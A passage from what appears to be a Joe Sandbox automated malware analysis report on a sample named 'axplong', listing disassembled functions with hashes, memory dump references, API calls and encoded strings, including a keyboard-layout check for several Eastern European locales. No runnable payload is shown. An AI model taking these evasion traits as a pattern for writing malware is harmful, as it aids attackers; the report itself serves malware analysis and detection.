Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range
API String ID: 2414744145-1662704651
Opcode ID: 91705e9880fdcbfe31aee9572b73860292efb3078cf2f3c8bf16b54900bf7dc2
Instruction ID: 546234f1edd444d0a1b9712953764536557ffa54b967c9bcb3202c33a046a5a1
Opcode Fuzzy Hash: 91705e9880fdcbfe31aee9572b73860292efb3078cf2f3c8bf16b54900bf7dc2
Instruction Fuzzy Hash: 18230371A00158DBEB29DB28CD8979DBB76AB81304F5481DDE049AB382EB395FC4CF51

Function 007C5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 007C5F64
00000423, xrefs: 007C600A
00000422, xrefs: 007C5FD9
0000043f, xrefs: 007C603B
00000419, xrefs: 007C5FA8

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: a5a54949b7eeb164c709017f99f802768cbb8cdb0f470c663fc48adc579cb47a
Instruction ID: cd4f449876270d823bd7c8ebc0ffb031c5f6cef21a183b04a3537ee00c575552
Opcode Fuzzy Hash: a5a54949b7eeb164c709017f99f802768cbb8cdb0f470c663fc48adc579cb47a
Instruction Fuzzy Hash: 07E17E71900218ABEB25DBA4CC89BDDB779EF04304F5042D9E509A7292E778AFC5CF51

Function 007C7D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 007C7EA3

Strings

JmpyPb==, xrefs: 007C810A
JmpxRL==, xrefs: 007C8062
JmpxQb==, xrefs: 007C81B2

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: 7f8b9cb133a8804ac8afd04740dd9664c74e5f03ed3104bea5f85c6b3a72f096
Instruction ID: a94b6dde0a6b9aee4854639683da53b8ed03aa4c70a81643a8f5bbbca5330f72
Opcode Fuzzy Hash: 7f8b9cb133a8804ac8afd04740dd9664c74e5f03ed3104bea5f85c6b3a72f096
Instruction Fuzzy Hash: 4BD1C571E00654EBDB24AB28DC5EB9D7B71BB41320F94428CE415AB3C2DB3D5EC18B92

Function 007F6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 007F6E23
GetFileInformationByHandle.KERNEL32(?,?), ref: 007F6E7D
__dosmaperr.LIBCMT ref: 007F6F12

Part of subcall function 007F7177: __dosmaperr.LIBCMT ref: 007F71AC

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: d2962510a81b0633f84dbffa4defa23589848811f7537d4befb34fd584131415
Instruction ID: a0d1fad1bd8776727d623b042d33b1702495a506dbcbdfc8f21504d5d5b5e004
Opcode Fuzzy Hash: d2962510a81b0633f84dbffa4defa23589848811f7537d4befb34fd584131415
Instruction Fuzzy Hash: 94413E75900248ABDB24EFB5E8459BFB7F9EF89300B10442DF656D3710EB35A905CB61

Function 007F6C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce9e0eed562cac9c211f176c559696f622fc02458709f7f322874755ab752b2c
Instruction ID: 4c74ebc0832f854b9c24537cc31c334fee9dfebb2b16e9f7044e990f913c89af
Opcode Fuzzy Hash: ce9e0eed562cac9c211f176c559696f622fc02458709f7f322874755ab752b2c
Instruction Fuzzy Hash: 3F21C172A0520CBAEF117B649C46BBE37299F41778F200354FA242B3D1DB786E05A6A1

Function 007C82B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 007C8454

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 2ff752c92b7659eafd406c1ed871c03f2bd73fbf8de102bac1e80f65a2957039
Instruction ID: 17beddcbbd7197aee82952c1a761f22df6f86939011d1e30c40416cdca59e1d6
Opcode Fuzzy Hash: 2ff752c92b7659eafd406c1ed871c03f2bd73fbf8de102bac1e80f65a2957039
Instruction Fuzzy Hash: 56511570904258DBEB28EF68DD49BEDB775EB45304F50429DE805A7381EB399B80CB92

Function 007F6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 007F6FB3

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: f4fe656cda51f7fca44982b8e2c2ed247ac660ac4e8d2690dfc653c1722da1a9
Instruction ID: 2f9571310761e5c1e02b6a5dcc6a418b773e4a7f9645d201365fde1daa1aef74
Opcode Fuzzy Hash: f4fe656cda51f7fca44982b8e2c2ed247ac660ac4e8d2690dfc653c1722da1a9
Instruction Fuzzy Hash: AB11FEB690020CABDB10DE95D944EEFB7FCAF48310F505266E625E6280EB34EB44CB61

Function 007FAF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,B2F331BE,?,?,007DD32C,B2F331BE,?,007D78FB,?,?,?,?,?,?,007C7435,?), ref: 007FAF3D

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b576651041da15e9dd0d0fcd0156228dfaef9e2db21c64f1123b379a71eea6a5
Instruction ID: a7606c69603d1e42f955ab5b8fbf7da95ece4127fd126a57cc896eda801601fd
Opcode Fuzzy Hash: b576651041da15e9dd0d0fcd0156228dfaef9e2db21c64f1123b379a71eea6a5
Instruction Fuzzy Hash: EAE0E5F660E21DBADB2022259C05B7A36C89B417B1F150050AF1C9A380CA1CCC0092F3

Function 007D6AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 007D6B65

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1fb730fc5c30aea4534a4348581fdc29496dde739d49c562c8c020be846606db
Instruction ID: 845e80fb35b3881e73344170355d31cc04c2f74eb22a1ccddff7fa619e55e788
Opcode Fuzzy Hash: 1fb730fc5c30aea4534a4348581fdc29496dde739d49c562c8c020be846606db
Instruction Fuzzy Hash: 6EF0D171A00618FBC614BB689C0AB1D7B75FB06720F80034DE821A73E1EA385A4087E2

Function 04B40D51 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8913ac0873df158f5fe5f373e5a7f9d7eb43dbf60998792624f2577fce75f32d
Instruction ID: 2c207334a31deded75fde6c1fcb553da05b961ac1cdf7f17e6e6877ce4a4ac75
Opcode Fuzzy Hash: 8913ac0873df158f5fe5f373e5a7f9d7eb43dbf60998792624f2577fce75f32d
Instruction Fuzzy Hash: A73108E778C110BDB142A59A6B50AF76B5DE6CB33033088A7FA07CA503E2546F5E7131

Function 04B40D48 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9918316dcebb582bc6a8342b521c1eb687e0fe1790fd596262fc1f520fb3062f
Instruction ID: dbe1ec2133ca663987cd1796ee1516a6d0df37b54c7174e11b8b96159a6b7319
Opcode Fuzzy Hash: 9918316dcebb582bc6a8342b521c1eb687e0fe1790fd596262fc1f520fb3062f
Instruction Fuzzy Hash: 52114CEB78C120BD7042A48A2B54AF7676DE5DA730330C8A7FA07C5902F2886F5D3032

Function 04B40D92 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 093c3cd8679f64b91c0775e63006a766db569b40ab10d91e62bad31afefd42c1
Instruction ID: 97682ba14d20353552255d6f481572d0a50740cf361d66d208f136ea92544630
Opcode Fuzzy Hash: 093c3cd8679f64b91c0775e63006a766db569b40ab10d91e62bad31afefd42c1
Instruction Fuzzy Hash: CA11B4E778C220BD7152E4962754AF7676DE5CA3303308CA7FA07C6502E2886F5D3032

Function 04B40D73 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fdebf19457a237f56abcf3d18e312e5431e7e0fe62eae26b6047b312bd08b76
Instruction ID: 4f3859c3177a9820c81c0685243197b7aea3019681d99855995e6be9fba2f0f7
Opcode Fuzzy Hash: 4fdebf19457a237f56abcf3d18e312e5431e7e0fe62eae26b6047b312bd08b76
Instruction Fuzzy Hash: AF1190EB78C120BD7142E0566B50AF7675DE5CA73033088A7FA07C9902F2896B5E3032

Function 04B40E2C Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a188ae3505a07e788ae99eaf97888c5be9afa287ba74469ac67daec821c4ca7
Instruction ID: 4aa2eecb86a8abeebfcebb70af3935533181a3048e2f7c81dad1f0833accc232
Opcode Fuzzy Hash: 1a188ae3505a07e788ae99eaf97888c5be9afa287ba74469ac67daec821c4ca7
Instruction Fuzzy Hash: 6C110AE7B8C214FDB151A45A6750AF7775DE2CB3303308CA7FA07CA502E1456B693072

Function 04B40DB4 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 324f4740711a3c3be0d8f3b66e5edd0dfff1557564d324126bbe7fa87b5fed12
Instruction ID: 8e62bf433af9fe34979fe131b9cca5b53d852de6f1a6935ee9564c8cc62651c4
Opcode Fuzzy Hash: 324f4740711a3c3be0d8f3b66e5edd0dfff1557564d324126bbe7fa87b5fed12
Instruction Fuzzy Hash: 8F11E1E7B8D224BD7141A4562760AF77B5DE1CA7303308CA7FA07CA902E1496B693072

Function 04B40DBD Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48625d61b9fa50bb2128d58676c79f7e7b4b75161384fc0e21be248c648336b4
Instruction ID: 4d8252e434986a9f2ce44f8091ea1eb8ece4f475d337012a106f145288f86621
Opcode Fuzzy Hash: 48625d61b9fa50bb2128d58676c79f7e7b4b75161384fc0e21be248c648336b4
Instruction Fuzzy Hash: 2D0104E7B8C220FDB141A5562750AF7775CE5DA3303308CA7FA07CA502E2586B697131

Function 04B40DE6 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c40199877f224e8c503c84b25235fcaebc0bb999f73d222ad96827ef3d0e1e1
Instruction ID: 3ae07abdea2d0de9993a395771d90cf308990d62814095ae9a0630795383e05e
Opcode Fuzzy Hash: 1c40199877f224e8c503c84b25235fcaebc0bb999f73d222ad96827ef3d0e1e1
Instruction Fuzzy Hash: 8C01B5E778C214FE7141A1567B60AF7675DE2DA7303308CA7F607CA642E1591FA93031

Function 04B40E62 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23a722706b22cdb74e986a2dabd1ebf604b2528025aa4d0752c584381009ef6a
Instruction ID: 84415e39d7a4b4318f1856e9dbc9d8ffda6a195f3a01e7fdded021e15aa66297
Opcode Fuzzy Hash: 23a722706b22cdb74e986a2dabd1ebf604b2528025aa4d0752c584381009ef6a
Instruction Fuzzy Hash: 7E11259378C350ADE24291562B14AF37B6CD6D36303308C9BF543C9542E1495B6A7132

Function 04B40E02 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a851c7cc932257cdeaa2e7deec85dcfeaf73be1d0ea169557bb2d78fe8b718e8
Instruction ID: 44dc4defb99f701848d8135cbacccdb7ca1dfc9571c596fd7fe54f4855e12ada
Opcode Fuzzy Hash: a851c7cc932257cdeaa2e7deec85dcfeaf73be1d0ea169557bb2d78fe8b718e8
Instruction Fuzzy Hash: EA0145D378C350BDA24291562B14AF37B9CE5D32303308C9BF543C6502E2495B6A7132

Function 04B40E4A Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f547718ee9443edde9c98a74d16e78fc65e479167646aea0ad3d3f7018d0fe9a
Instruction ID: 74212332ab6652f40319cda011e8750e0f6f5265555a98ab2c846a01db8cc073
Opcode Fuzzy Hash: f547718ee9443edde9c98a74d16e78fc65e479167646aea0ad3d3f7018d0fe9a
Instruction Fuzzy Hash: EAF06DE7B8C124BD3141E4563B14AF7775DE0D6A303718C67F903C5546E14A9E9A30B2

Function 04B40E8A Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3314207662.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c79878de8fab879bcc3a84ea898e5aa82dc060d97f39713e038d45e3b371911
Instruction ID: e024180b464c51f99720b20190cd3f6b973dabf99f164dae4212f0bd644edea7
Opcode Fuzzy Hash: 7c79878de8fab879bcc3a84ea898e5aa82dc060d97f39713e038d45e3b371911
Instruction Fuzzy Hash: 0EE02BA37CC060BE614194462790AFB779DE1D76313708497FA02C5842E54E0F9A7171

Non-executed Functions

Function 00803068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 008031E3

Strings

1#INF, xrefs: 0080439E
1#SNAN, xrefs: 0080437A
1#QNAN, xrefs: 00804381
1#IND, xrefs: 00804373

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
